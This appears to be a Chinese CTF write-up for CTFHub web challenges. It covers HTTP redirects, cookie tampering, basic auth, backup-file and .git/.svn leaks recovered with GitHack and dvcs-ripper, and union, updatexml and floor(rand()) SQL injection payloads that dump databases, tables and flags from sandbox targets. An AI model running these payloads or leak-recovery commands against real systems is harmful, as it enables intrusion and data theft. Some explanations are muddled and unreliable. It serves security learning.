赞
踩
BurpSuite工作原理:
默认代理地址和端口是127.0.0.1:8080,可以从BurpSuite的Proxy
选项卡的Options
里查看到
正常情况下,我们使用Web浏览器访问服务是直接访问,若想对请求做拦截及篡改,就需要让Web浏览器的请求先传往BurpSuite,在BurpSuite上进行流量数据的处理。
那么如何让Web浏览器的请求经过BurpSuite呢?
最简单的办法就是将浏览器的代理服务器设置为BurpSuite,即默认的127.0.0.1:8080。
http 302 临时重定向
进入题目页面,发现Give me Flag,点击,发现页面未跳转,结合题意,可知发生了302临时跳转,所以我们无法通过浏览器直接访问未跳转的页面,而flag 可能藏在我们目前无法访问的页面之中。所以我们要想办法去访问未跳转的原网站。
cookie的工作方式:
客户端第一次向浏览器发送请求,浏览器收到请求根据来源信息生成Cookie,返回请求的同时将Cookie一起发送回客户端并存储Cookie,下一次再向浏览器发送请求时cookie会被包含在http头中发送给浏览器,浏览器收到请求后会先检查cookie,如果有cookie信息则不会进行验证直接响应数据。
当Cookie字段中是usercode=123456,我们可以根据字段,猜测出他后端是直接根据前端返回的用户id来做查询,进而实现功能,比如:显示用户订单等。(越权漏洞✔️get)
当Cookie字段中返回有login=0时,敏感的安全从业者,肯定会意识到其中的怪异,会下意识的将0(False)改为1(True)。
在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。
在进行基本认证的过程里,请求的HTTP头字段会包含Authorization字段,形式如下: Authorization: Basic <认证>,该凭证是用户和密码的组合的base64编码。
HTTP基础认证的过程
第一步:当客户端第一次向服务器发送请求,此时数据包中不包含header Authorization信息,服务器拿到数据包后会先检查该客户端是否认证过,也就是检查header Authorization,没有的话会返回一个respons,其中包含状态码401,要求客户端提交该信息用以认证。并且在Response 的 header的 “WWW-Authenticate” 中添加信息
第二步:客户端收到状态码401后,会弹出认证窗口,需要输入用户名与密码用来认证,提交后浏览器会将用户名和密码取出并进行BASE64加密,将其以“用户名+冒号+密码”的形式组合写入HTTP头文件中发送给服务器。
第三步:服务器收到发来的数据包并取出其中的用户名和密码进行身份认证,认证成功则会返回客户端请求的数据。
后缀名是.bak的文件是备份文件,是文件格式的扩展名。
此类文件通常以.bak开头,该文件应具有原始扩展名,例如windows.dll.bak或windows_dll.bak,其中一些后缀有原始文件,名称和bak混合在一起。 例如,proteus的备份文件是.DBK。
许多软件(例如editplus)会在生成某种类型的文件后自动生成其备份文件。 如果不想备份文件,则可以打开菜单栏上的工具参数选择文件,只需在创建备份文件之前取消检查即可。 其他软件(如CAD,KEIL和其他软件)也可以通过相关设置取消默认备份文件。
注2:异常退出
在使用vim编辑器编写index.php文件时,会有一个.index.php.swp文件,如果文件正常退出,则该文件被删除;如果异常退出,该文件则会保存下来,该文件可以用来恢复异常退出的index.php。同时多次意外退出并不会覆盖旧的.swp文件,而是会生成一个新的,例如.swo文件。以index.php为例,第一次产生的缓存文件名为.index.php.swp;第二次意外退出后,文件名为.index.php.swo;第三次产生的缓存文件则为.index.php.swn。注意:index前有“.”。
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
参考:CTFHub-Web-信息泄露-Git泄露_ctfhub git泄露_star-R的博客-CSDN博客
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题
用的工具:dirsearch、Githack
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。
Githack使用思路:1、Githack扫描;2、git log查看历史记录。
扫描语法:python GitHack.py http://www.target.com/.git/
dirsearch扫描目录
(1)可以使用命令 dirsearch -u http://159.75.16.25 -e*
(2)cd dirsearch 、再使用命令:
python3 dirsearch.py -u http://challenge-5a5d24023f7ea71c.sandbox.ctfhub.com:10800 -e git -t 5
存在git泄露;
Githack扫描
进入GitHack文件夹,执行下列命令:
python2 GitHack.py http://challenge-e87e0210287ba7b3.sandbox.ctfhub.com:10800/.git/
得到flag有两种方法:
1、版本比对:git diff
用法:git diff <分支名1> <分支名2>
2、版本回退:git reset
用法:git reset --hard <分支名>
(1).git stash概念
.git stash用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作。.git stash将本地的修改保存起来,并且将当前代码切换到HEAD
提交上。
(2)会用到的命令
git stash lish #查看当前stash中的内容
git stash pop #将当前stash中的内容弹出,并应用到当前分支对应的工作目录上,可以理解为恢复内容。
题目中的index并不是我们理解的web网页,而是一个暂存区,默认存储在.git/index。
关于index的具体知识点文章:(Git本地库中的索引(Index)及文件状态概述_易生一世的博客-CSDN博客
老办法:
githack扫描 =》进入文件夹 =》git log查看历史 =》两个版本,直接进行git diff获取到flag 。
CTFHub-Web-信息泄露-SVN泄露_star-R的博客-CSDN博客
提示:当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。
SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件夹暴露与外网环境,可以利用.svn/entries或wc.db文件获取服务器源码等信息。
利用一款的perl版本控制软件信息泄露利用工具,叫dvcs-ripper,支持SVN, GIT, Mercurial/hg, bz等等
使用 dvcs-ripper 工具下载泄露的网站目录
使用linux 执行下面的命令:
git clone https://github.com/kost/dvcs-ripper.git
⭐进入dvcs-ripper目录
cd dvcs-ripper
⭐使用工具
这里提示是svn泄露,所以我们使用rip-svn.pl模块
perl ./rip-svn.pl -u http://challenge-813102013a303fb9.sandbox.ctfhub.com:10800/.svn
如果报错:
说明你缺少了SQLite模块
执行如下命令进行安装(失败,cpu100%跑不动)
perl -MCPAN -e shell
install DBD::SQLite
或者执行下面的命令(成功!)使用libdbd-sqlite4-perl也失败
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
继续做题:
在当前目录文件夹下会发现 多出一个 .svn 文件
即可在 .svn文件找到flag
一、检查是否存在sql注入
1.试一下添加冒号会不会报错或者不回显
2.试一下添加and 1=1 是否正常查询
3.试一下and 1=2 是否查询失败
二、判断列数(字段数量)
添加order by 1/2/3…来获取列数,order by 1的意思是对第一列的字段进行排序并返回查询的结果,如果列数超出则会报错或者不回显
三、回显信息
通过 id =-1 and union select 1,2来查看回显的位置,id=-1查询不到则会返回null
union select 1,2 没有意义,会返回1和2
version(),查看数据库版本
database(),查看数据库名
基础:information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新)
mysql5.0以下:多用户单操作,不存在information_schema数据库
mysql5.0以上:多用户多操作,存在information_schema数据库
nformation_schema数据库说明:
重要表说明:
1,information_schema.schemata表:此表存放了当前数据库管理系统下所有的数据库,效果等同于show databases;
命令,数据库名称在schema_name列。
2,information_schema.tables表: 此表存放了当前数据库管理系统下所有数据库的表,效果等同于所有数据库下show tables的合集
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
3,information_schema.columns表:此表存放了当前数据库管理系统中所有的列名
table_name列:记录当前数据库管理系统下表的合集
table_schema列:记录当前数据库管理系统下数据库名的合集
column_name列:记录当前数据库管理系统下的所有列的合集
四、查看全部数据库名:group_concat()函数用于将分组中括号里对应的字符串进行连接
id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
五、分别查看数据库中的全部表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
六、查看flag表中的全部字段名(全部列名)
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
七、查询该表中该字段的全部数据
id=-1 union select 1,group_concat(列名) from 库名.表名
与整数型注入原理相同,但需要让语句闭合,正常执行,在url结尾输入%23 或者–+
一、xpath语法格式错误的报错:
mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作,下面分别对这两个函数进行介绍。
1、extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。
2、updatexml(xml_target, xpath_expr, new_xml):
xml_target:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
new_xml:需要更新的内容。
SQL报错注入的应用:当使用updatexml(xml_target, xpath_expr, new_xml)函数时,若xpath_expr参数不符合xpath格式,就会报错。
上述两个函数使用时,因为符号~波浪号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。
查询数据库名
union select updatexml(1,concat(0x7e,database(),0x7e),1);
联合查询爆表名
1union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
查字段名
查内容
sql中查询flag过长导致后半部分不显示,可以选择查询右边的31位进行比对就可以获取全部flag了。方法:right((select flag from sqli.flag),31)
二、floor()、rand()、group by语句相结合的报错:
floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。实际利用中通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,就实现了注入结果与报错信息回显的注入方式。
1、rand()函数:
rand()返回0到1的随机数。不包含0,1
rand(0)返回一个固定的0到1的伪随机数。
2、floor()函数:
floor(x)返回小于或等于 x 的最大整数。
3、group by语句:
group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。
SQL报错注入的应用:当count(*)、floor(rand(0))和group by x同时执行时,就会爆出duplicate entry错误。
原理:floor(rand(0)*2)的不确定性,取整之后为0也可能为1。
*理解floor(rand(0)2)函数
floor(rand(0)*2)就是对rand(0)产生的随机序列x2后的结果,再进行取整。
产生包含0和1的序列,因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序。
通过group by name进行分组排序,结果会进行分组并显示,相同名字会合并。
count(*)统计结果的记录数,与group by结合使用,select name a,count(*) from users group by a。会对name/a重复性的数据进行整合并计数,按照ascii排序。
当执行如下语句时,就会产生一个报错
select count(*),floor(rand(0)*2) x from users group by x;
根据前面函数的理解,这句话本义就是统计后面产生随机数的种类并计算每种数量。原本执行结果一共6行数据,产生的随机序列应该为0 1 1 0 1 1 ,按照语句的含义,统计如果应该是:0是2个,1是4个,但是此处却产生了报错?这是为什么呢?下面来分析一下。
这里最关键的及时要理解group by函数的工作过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)
如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。
【转】Mysql基于报错注入之floor(rand(0)*2)报错原理探究_LovelyLucy的博客-CSDN博客
3.1、group by语句执行过程:
SQL语句:select floor(rand(0)*2),count(*) from table group by floor(rand(0)*2) ;
1.查询数据库名称
1 union select count(*),concat(database(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x
1 union select count(*),id from news group by concat((select database()),0x7e,floor(rand(0)*2))
2.查表名
1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x7e,floor(rand(0)*2))
3.查字段
union select count(*),id from news group by concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ ),0x7e,floor(rand(0)*2))
4.获取flag
union select count(*),id from news group by concat((select flag from sqli.flag),0x7e,floor(rand(0)*2))
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。